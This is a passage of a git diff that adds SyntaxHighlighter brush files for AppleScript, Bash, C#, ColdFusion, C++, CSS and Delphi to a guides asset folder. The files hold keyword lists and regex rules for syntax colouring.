+ { regex: /\b(?:adding folder items to|after receiving|choose( ((remote )?application|color|folder|from list|URL))?|clipboard info|set the clipboard to|(the )?clipboard|entire contents|display(ing| (alert|dialog|mode))?|document( (edited|file|nib name))?|file( (name|type))?|(info )?for|giving up after|(name )?extension|quoted form|return(ed)?|second(?! item)(s)?|list (disks|folder)|text item(s| delimiters)?|(Unicode )?text|(disk )?item(s)?|((current|list) )?view|((container|key) )?wind [...]
+ css: 'color3' },
+
+ { regex: new RegExp(this.getKeywords(specials), 'gm'), css: 'color3' },
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' },
+ { regex: new RegExp(this.getKeywords(ordinals), 'gm'), css: 'keyword' }
+ ];
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['applescript'];
+
+ SyntaxHighlighter.brushes.AppleScript = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js b/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js
new file mode 100644
index 0000000..8c29696
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js
@@ -0,0 +1,59 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ var keywords = 'if fi then elif else for do done until while break continue case function return in eq ne ge le';
+ var commands = 'alias apropos awk basename bash bc bg builtin bzip2 cal cat cd cfdisk chgrp chmod chown chroot' +
+ 'cksum clear cmp comm command cp cron crontab csplit cut date dc dd ddrescue declare df ' +
+ 'diff diff3 dig dir dircolors dirname dirs du echo egrep eject enable env ethtool eval ' +
+ 'exec exit expand export expr false fdformat fdisk fg fgrep file find fmt fold format ' +
+ 'free fsck ftp gawk getopts grep groups gzip hash head history hostname id ifconfig ' +
+ 'import install join kill less let ln local locate logname logout look lpc lpr lprint ' +
+ 'lprintd lprintq lprm ls lsof make man mkdir mkfifo mkisofs mknod more mount mtools ' +
+ 'mv netstat nice nl nohup nslookup open op passwd paste pathchk ping popd pr printcap ' +
+ 'printenv printf ps pushd pwd quota quotacheck quotactl ram rcp read readonly renice ' +
+ 'remsync rm rmdir rsync screen scp sdiff sed select seq set sftp shift shopt shutdown ' +
+ 'sleep sort source split ssh strace su sudo sum symlink sync tail tar tee test time ' +
+ 'times touch top traceroute trap tr true tsort tty type ulimit umask umount unalias ' +
+ 'uname unexpand uniq units unset unshar useradd usermod users uuencode uudecode v vdir ' +
+ 'vi watch wc whereis which who whoami Wget xargs yes'
+ ;
+
+ this.regexList = [
+ { regex: /^#!.*$/gm, css: 'preprocessor bold' },
+ { regex: /\/[\w-\/]+/gm, css: 'plain' },
+ { regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' }, // one line comments
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords
+ { regex: new RegExp(this.getKeywords(commands), 'gm'), css: 'functions' } // commands
+ ];
+ }
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['bash', 'shell'];
+
+ SyntaxHighlighter.brushes.Bash = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js b/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js
new file mode 100644
index 0000000..079214e
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js
@@ -0,0 +1,65 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ var keywords = 'abstract as base bool break byte case catch char checked class const ' +
+ 'continue decimal default delegate do double else enum event explicit ' +
+ 'extern false finally fixed float for foreach get goto if implicit in int ' +
+ 'interface internal is lock long namespace new null object operator out ' +
+ 'override params private protected public readonly ref return sbyte sealed set ' +
+ 'short sizeof stackalloc static string struct switch this throw true try ' +
+ 'typeof uint ulong unchecked unsafe ushort using virtual void while';
+
+ function fixComments(match, regexInfo)
+ {
+ var css = (match[0].indexOf("///") == 0)
+ ? 'color1'
+ : 'comments'
+ ;
+
+ return [new SyntaxHighlighter.Match(match[0], match.index, css)];
+ }
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.singleLineCComments, func : fixComments }, // one line comments
+ { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
+ { regex: /@"(?:[^"]|"")*"/g, css: 'string' }, // @-quoted strings
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
+ { regex: /^\s*#.*/gm, css: 'preprocessor' }, // preprocessor tags like #region and #endregion
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // c# keyword
+ { regex: /\bpartial(?=\s+(?:class|interface|struct)\b)/g, css: 'keyword' }, // contextual keyword: 'partial'
+ { regex: /\byield(?=\s+(?:return|break)\b)/g, css: 'keyword' } // contextual keyword: 'yield'
+ ];
+
+ this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['c#', 'c-sharp', 'csharp'];
+
+ SyntaxHighlighter.brushes.CSharp = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
+
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js b/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js
new file mode 100644
index 0000000..627dbb9
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js
@@ -0,0 +1,100 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Contributed by Jen
+ // http://www.jensbits.com/2009/05/14/coldfusion-brush-for-syntaxhighlighter-plus
+
+ var funcs = 'Abs ACos AddSOAPRequestHeader AddSOAPResponseHeader AjaxLink AjaxOnLoad ArrayAppend ArrayAvg ArrayClear ArrayDeleteAt ' +
+ 'ArrayInsertAt ArrayIsDefined ArrayIsEmpty ArrayLen ArrayMax ArrayMin ArraySet ArraySort ArraySum ArraySwap ArrayToList ' +
+ 'Asc ASin Atn BinaryDecode BinaryEncode BitAnd BitMaskClear BitMaskRead BitMaskSet BitNot BitOr BitSHLN BitSHRN BitXor ' +
+ 'Ceiling CharsetDecode CharsetEncode Chr CJustify Compare CompareNoCase Cos CreateDate CreateDateTime CreateObject ' +
+ 'CreateODBCDate CreateODBCDateTime CreateODBCTime CreateTime CreateTimeSpan CreateUUID DateAdd DateCompare DateConvert ' +
+ 'DateDiff DateFormat DatePart Day DayOfWeek DayOfWeekAsString DayOfYear DaysInMonth DaysInYear DE DecimalFormat DecrementValue ' +
+ 'Decrypt DecryptBinary DeleteClientVariable DeserializeJSON DirectoryExists DollarFormat DotNetToCFType Duplicate Encrypt ' +
+ 'EncryptBinary Evaluate Exp ExpandPath FileClose FileCopy FileDelete FileExists FileIsEOF FileMove FileOpen FileRead ' +
+ 'FileReadBinary FileReadLine FileSetAccessMode FileSetAttribute FileSetLastModified FileWrite Find FindNoCase FindOneOf ' +
+ 'FirstDayOfMonth Fix FormatBaseN GenerateSecretKey GetAuthUser GetBaseTagData GetBaseTagList GetBaseTemplatePath ' +
+ 'GetClientVariablesList GetComponentMetaData GetContextRoot GetCurrentTemplatePath GetDirectoryFromPath GetEncoding ' +
+ 'GetException GetFileFromPath GetFileInfo GetFunctionList GetGatewayHelper GetHttpRequestData GetHttpTimeString ' +
+ 'GetK2ServerDocCount GetK2ServerDocCountLimit GetLocale GetLocaleDisplayName GetLocalHostIP GetMetaData GetMetricData ' +
+ 'GetPageContext GetPrinterInfo GetProfileSections GetProfileString GetReadableImageFormats GetSOAPRequest GetSOAPRequestHeader ' +
+ 'GetSOAPResponse GetSOAPResponseHeader GetTempDirectory GetTempFile GetTemplatePath GetTickCount GetTimeZoneInfo GetToken ' +
+ 'GetUserRoles GetWriteableImageFormats Hash Hour HTMLCodeFormat HTMLEditFormat IIf ImageAddBorder ImageBlur ImageClearRect ' +
+ 'ImageCopy ImageCrop ImageDrawArc ImageDrawBeveledRect ImageDrawCubicCurve ImageDrawLine ImageDrawLines ImageDrawOval ' +
+ 'ImageDrawPoint ImageDrawQuadraticCurve ImageDrawRect ImageDrawRoundRect ImageDrawText ImageFlip ImageGetBlob ImageGetBufferedImage ' +
+ 'ImageGetEXIFTag ImageGetHeight ImageGetIPTCTag ImageGetWidth ImageGrayscale ImageInfo ImageNegative ImageNew ImageOverlay ImagePaste ' +
+ 'ImageRead ImageReadBase64 ImageResize ImageRotate ImageRotateDrawingAxis ImageScaleToFit ImageSetAntialiasing ImageSetBackgroundColor ' +
+ 'ImageSetDrawingColor ImageSetDrawingStroke ImageSetDrawingTransparency ImageSharpen ImageShear ImageShearDrawingAxis ImageTranslate ' +
+ 'ImageTranslateDrawingAxis ImageWrite ImageWriteBase64 ImageXORDrawingMode IncrementValue InputBaseN Insert Int IsArray IsBinary ' +
+ 'IsBoolean IsCustomFunction IsDate IsDDX IsDebugMode IsDefined IsImage IsImageFile IsInstanceOf IsJSON IsLeapYear IsLocalHost ' +
+ 'IsNumeric IsNumericDate IsObject IsPDFFile IsPDFObject IsQuery IsSimpleValue IsSOAPRequest IsStruct IsUserInAnyRole IsUserInRole ' +
+ 'IsUserLoggedIn IsValid IsWDDX IsXML IsXmlAttribute IsXmlDoc IsXmlElem IsXmlNode IsXmlRoot JavaCast JSStringFormat LCase Left Len ' +
+ 'ListAppend ListChangeDelims ListContains ListContainsNoCase ListDeleteAt ListFind ListFindNoCase ListFirst ListGetAt ListInsertAt ' +
+ 'ListLast ListLen ListPrepend ListQualify ListRest ListSetAt ListSort ListToArray ListValueCount ListValueCountNoCase LJustify Log ' +
+ 'Log10 LSCurrencyFormat LSDateFormat LSEuroCurrencyFormat LSIsCurrency LSIsDate LSIsNumeric LSNumberFormat LSParseCurrency LSParseDateTime ' +
+ 'LSParseEuroCurrency LSParseNumber LSTimeFormat LTrim Max Mid Min Minute Month MonthAsString Now NumberFormat ParagraphFormat ParseDateTime ' +
+ 'Pi PrecisionEvaluate PreserveSingleQuotes Quarter QueryAddColumn QueryAddRow QueryConvertForGrid QueryNew QuerySetCell QuotedValueList Rand ' +
+ 'Randomize RandRange REFind REFindNoCase ReleaseComObject REMatch REMatchNoCase RemoveChars RepeatString Replace ReplaceList ReplaceNoCase ' +
+ 'REReplace REReplaceNoCase Reverse Right RJustify Round RTrim Second SendGatewayMessage SerializeJSON SetEncoding SetLocale SetProfileString ' +
+ 'SetVariable Sgn Sin Sleep SpanExcluding SpanIncluding Sqr StripCR StructAppend StructClear StructCopy StructCount StructDelete StructFind ' +
+ 'StructFindKey StructFindValue StructGet StructInsert StructIsEmpty StructKeyArray StructKeyExists StructKeyList StructKeyList StructNew ' +
+ 'StructSort StructUpdate Tan TimeFormat ToBase64 ToBinary ToScript ToString Trim UCase URLDecode URLEncodedFormat URLSessionFormat Val ' +
+ 'ValueList VerifyClient Week Wrap Wrap WriteOutput XmlChildPos XmlElemNew XmlFormat XmlGetNodeType XmlNew XmlParse XmlSearch XmlTransform ' +
+ 'XmlValidate Year YesNoFormat';
+
+ var keywords = 'cfabort cfajaximport cfajaxproxy cfapplet cfapplication cfargument cfassociate cfbreak cfcache cfcalendar ' +
+ 'cfcase cfcatch cfchart cfchartdata cfchartseries cfcol cfcollection cfcomponent cfcontent cfcookie cfdbinfo ' +
+ 'cfdefaultcase cfdirectory cfdiv cfdocument cfdocumentitem cfdocumentsection cfdump cfelse cfelseif cferror ' +
+ 'cfexchangecalendar cfexchangeconnection cfexchangecontact cfexchangefilter cfexchangemail cfexchangetask ' +
+ 'cfexecute cfexit cffeed cffile cfflush cfform cfformgroup cfformitem cfftp cffunction cfgrid cfgridcolumn ' +
+ 'cfgridrow cfgridupdate cfheader cfhtmlhead cfhttp cfhttpparam cfif cfimage cfimport cfinclude cfindex ' +
+ 'cfinput cfinsert cfinterface cfinvoke cfinvokeargument cflayout cflayoutarea cfldap cflocation cflock cflog ' +
+ 'cflogin cfloginuser cflogout cfloop cfmail cfmailparam cfmailpart cfmenu cfmenuitem cfmodule cfNTauthenticate ' +
+ 'cfobject cfobjectcache cfoutput cfparam cfpdf cfpdfform cfpdfformparam cfpdfparam cfpdfsubform cfpod cfpop ' +
+ 'cfpresentation cfpresentationslide cfpresenter cfprint cfprocessingdirective cfprocparam cfprocresult ' +
+ 'cfproperty cfquery cfqueryparam cfregistry cfreport cfreportparam cfrethrow cfreturn cfsavecontent cfschedule ' +
+ 'cfscript cfsearch cfselect cfset cfsetting cfsilent cfslider cfsprydataset cfstoredproc cfswitch cftable ' +
+ 'cftextarea cfthread cfthrow cftimer cftooltip cftrace cftransaction cftree cftreeitem cftry cfupdate cfwddx ' +
+ 'cfwindow cfxml cfzip cfzipparam';
+
+ var operators = 'all and any between cross in join like not null or outer some';
+
+ this.regexList = [
+ { regex: new RegExp('--(.*)$', 'gm'), css: 'comments' }, // one line and multiline comments
+ { regex: SyntaxHighlighter.regexLib.xmlComments, css: 'comments' }, // single quoted strings
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
+ { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' }, // functions
+ { regex: new RegExp(this.getKeywords(operators), 'gmi'), css: 'color1' }, // operators and such
+ { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' } // keyword
+ ];
+ }
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['coldfusion','cf'];
+
+ SyntaxHighlighter.brushes.ColdFusion = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js b/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js
new file mode 100644
index 0000000..9f70d3a
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js
@@ -0,0 +1,97 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Copyright 2006 Shin, YoungJin
+
+ var datatypes = 'ATOM BOOL BOOLEAN BYTE CHAR COLORREF DWORD DWORDLONG DWORD_PTR ' +
+ 'DWORD32 DWORD64 FLOAT HACCEL HALF_PTR HANDLE HBITMAP HBRUSH ' +
+ 'HCOLORSPACE HCONV HCONVLIST HCURSOR HDC HDDEDATA HDESK HDROP HDWP ' +
+ 'HENHMETAFILE HFILE HFONT HGDIOBJ HGLOBAL HHOOK HICON HINSTANCE HKEY ' +
+ 'HKL HLOCAL HMENU HMETAFILE HMODULE HMONITOR HPALETTE HPEN HRESULT ' +
+ 'HRGN HRSRC HSZ HWINSTA HWND INT INT_PTR INT32 INT64 LANGID LCID LCTYPE ' +
+ 'LGRPID LONG LONGLONG LONG_PTR LONG32 LONG64 LPARAM LPBOOL LPBYTE LPCOLORREF ' +
+ 'LPCSTR LPCTSTR LPCVOID LPCWSTR LPDWORD LPHANDLE LPINT LPLONG LPSTR LPTSTR ' +
+ 'LPVOID LPWORD LPWSTR LRESULT PBOOL PBOOLEAN PBYTE PCHAR PCSTR PCTSTR PCWSTR ' +
+ 'PDWORDLONG PDWORD_PTR PDWORD32 PDWORD64 PFLOAT PHALF_PTR PHANDLE PHKEY PINT ' +
+ 'PINT_PTR PINT32 PINT64 PLCID PLONG PLONGLONG PLONG_PTR PLONG32 PLONG64 POINTER_32 ' +
+ 'POINTER_64 PSHORT PSIZE_T PSSIZE_T PSTR PTBYTE PTCHAR PTSTR PUCHAR PUHALF_PTR ' +
+ 'PUINT PUINT_PTR PUINT32 PUINT64 PULONG PULONGLONG PULONG_PTR PULONG32 PULONG64 ' +
+ 'PUSHORT PVOID PWCHAR PWORD PWSTR SC_HANDLE SC_LOCK SERVICE_STATUS_HANDLE SHORT ' +
+ 'SIZE_T SSIZE_T TBYTE TCHAR UCHAR UHALF_PTR UINT UINT_PTR UINT32 UINT64 ULONG ' +
+ 'ULONGLONG ULONG_PTR ULONG32 ULONG64 USHORT USN VOID WCHAR WORD WPARAM WPARAM WPARAM ' +
+ 'char bool short int __int32 __int64 __int8 __int16 long float double __wchar_t ' +
+ 'clock_t _complex _dev_t _diskfree_t div_t ldiv_t _exception _EXCEPTION_POINTERS ' +
+ 'FILE _finddata_t _finddatai64_t _wfinddata_t _wfinddatai64_t __finddata64_t ' +
+ '__wfinddata64_t _FPIEEE_RECORD fpos_t _HEAPINFO _HFILE lconv intptr_t ' +
+ 'jmp_buf mbstate_t _off_t _onexit_t _PNH ptrdiff_t _purecall_handler ' +
+ 'sig_atomic_t size_t _stat __stat64 _stati64 terminate_function ' +
+ 'time_t __time64_t _timeb __timeb64 tm uintptr_t _utimbuf ' +
+ 'va_list wchar_t wctrans_t wctype_t wint_t signed';
+
+ var keywords = 'break case catch class const __finally __exception __try ' +
+ 'const_cast continue private public protected __declspec ' +
+ 'default delete deprecated dllexport dllimport do dynamic_cast ' +
+ 'else enum explicit extern if for friend goto inline ' +
+ 'mutable naked namespace new noinline noreturn nothrow ' +
+ 'register reinterpret_cast return selectany ' +
+ 'sizeof static static_cast struct switch template this ' +
+ 'thread throw true false try typedef typeid typename union ' +
+ 'using uuid virtual void volatile whcar_t while';
+
+ var functions = 'assert isalnum isalpha iscntrl isdigit isgraph islower isprint' +
+ 'ispunct isspace isupper isxdigit tolower toupper errno localeconv ' +
+ 'setlocale acos asin atan atan2 ceil cos cosh exp fabs floor fmod ' +
+ 'frexp ldexp log log10 modf pow sin sinh sqrt tan tanh jmp_buf ' +
+ 'longjmp setjmp raise signal sig_atomic_t va_arg va_end va_start ' +
+ 'clearerr fclose feof ferror fflush fgetc fgetpos fgets fopen ' +
+ 'fprintf fputc fputs fread freopen fscanf fseek fsetpos ftell ' +
+ 'fwrite getc getchar gets perror printf putc putchar puts remove ' +
+ 'rename rewind scanf setbuf setvbuf sprintf sscanf tmpfile tmpnam ' +
+ 'ungetc vfprintf vprintf vsprintf abort abs atexit atof atoi atol ' +
+ 'bsearch calloc div exit free getenv labs ldiv malloc mblen mbstowcs ' +
+ 'mbtowc qsort rand realloc srand strtod strtol strtoul system ' +
+ 'wcstombs wctomb memchr memcmp memcpy memmove memset strcat strchr ' +
+ 'strcmp strcoll strcpy strcspn strerror strlen strncat strncmp ' +
+ 'strncpy strpbrk strrchr strspn strstr strtok strxfrm asctime ' +
+ 'clock ctime difftime gmtime localtime mktime strftime time';
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
+ { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
+ { regex: /^ *#.*/gm, css: 'preprocessor' },
+ { regex: new RegExp(this.getKeywords(datatypes), 'gm'), css: 'color1 bold' },
+ { regex: new RegExp(this.getKeywords(functions), 'gm'), css: 'functions bold' },
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword bold' }
+ ];
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['cpp', 'c'];
+
+ SyntaxHighlighter.brushes.Cpp = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js b/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js
new file mode 100644
index 0000000..4297a9a
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js
@@ -0,0 +1,91 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ function getKeywordsCSS(str)
+ {
+ return '\\b([a-z_]|)' + str.replace(/ /g, '(?=:)\\b|\\b([a-z_\\*]|\\*|)') + '(?=:)\\b';
+ };
+
+ function getValuesCSS(str)
+ {
+ return '\\b' + str.replace(/ /g, '(?!-)(?!:)\\b|\\b()') + '\:\\b';
+ };
+
+ var keywords = 'ascent azimuth background-attachment background-color background-image background-position ' +
+ 'background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top ' +
+ 'border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color ' +
+ 'border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width ' +
+ 'border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color ' +
+ 'content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display ' +
+ 'elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font ' +
+ 'height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top ' +
+ 'margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans ' +
+ 'outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page ' +
+ 'page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position ' +
+ 'quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress ' +
+ 'table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em ' +
+ 'vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index';
+
+ var values = 'above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder '+
+ 'both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed '+
+ 'continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero default digits disc dotted double '+
+ 'embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia '+
+ 'gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic '+
+ 'justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha '+
+ 'lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower '+
+ 'navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset '+
+ 'outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side '+
+ 'rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow '+
+ 'small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize '+
+ 'table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal '+
+ 'text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin '+
+ 'upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow';
+
+ var fonts = '[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif';
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
+ { regex: /\#[a-fA-F0-9]{3,6}/g, css: 'value' }, // html colors
+ { regex: /(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)/g, css: 'value' }, // sizes
+ { regex: /!important/g, css: 'color3' }, // !important
+ { regex: new RegExp(getKeywordsCSS(keywords), 'gm'), css: 'keyword' }, // keywords
+ { regex: new RegExp(getValuesCSS(values), 'g'), css: 'value' }, // values
+ { regex: new RegExp(this.getKeywords(fonts), 'g'), css: 'color1' } // fonts
+ ];
+
+ this.forHtmlScript({
+ left: /(<|<)\s*style.*?(>|>)/gi,
+ right: /(<|<)\/\s*style\s*(>|>)/gi
+ });
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['css'];
+
+ SyntaxHighlighter.brushes.CSS = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js b/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js
new file mode 100644
index 0000000..e1060d4
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js
@@ -0,0 +1,55 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ var keywords = 'abs addr and ansichar ansistring array as asm begin boolean byte cardinal ' +
+ 'case char class comp const constructor currency destructor div do double ' +
+ 'downto else end except exports extended false file finalization finally ' +
+ 'for function goto if implementation in inherited int64 initialization ' +
+ 'integer interface is label library longint longword mod nil not object ' +
+ 'of on or packed pansichar pansistring pchar pcurrency pdatetime pextended ' +
+ 'pint64 pointer private procedure program property pshortstring pstring ' +
+ 'pvariant pwidechar pwidestring protected public published raise real real48 ' +
+ 'record repeat set shl shortint shortstring shr single smallint string then ' +
+ 'threadvar to true try type unit until uses val var varirnt while widechar ' +
+ 'widestring with word write writeln xor';
+
+ this.regexList = [
+ { regex: /\(\*[\s\S]*?\*\)/gm, css: 'comments' }, // multiline comments (* *)
+ { regex: /{(?!\$)[\s\S]*?}/gm, css: 'comments' }, // multiline comments { }
+ { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
+ { regex: /\{\$[a-zA-Z]+ .+\}/g, css: 'color1' }, // compiler Directives and Region tags
+ { regex: /\b[\d\.]+\b/g, css: 'value' }, // numbers 12345
+ { regex: /\$[a-zA-Z0-9]+\b/g, css: 'value' }, // numbers $F5D3
+ { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' } // keyword
+ ];
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['delphi', 'pascal', 'pas'];
+
+ SyntaxHighlighter.brushes.Delphi = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
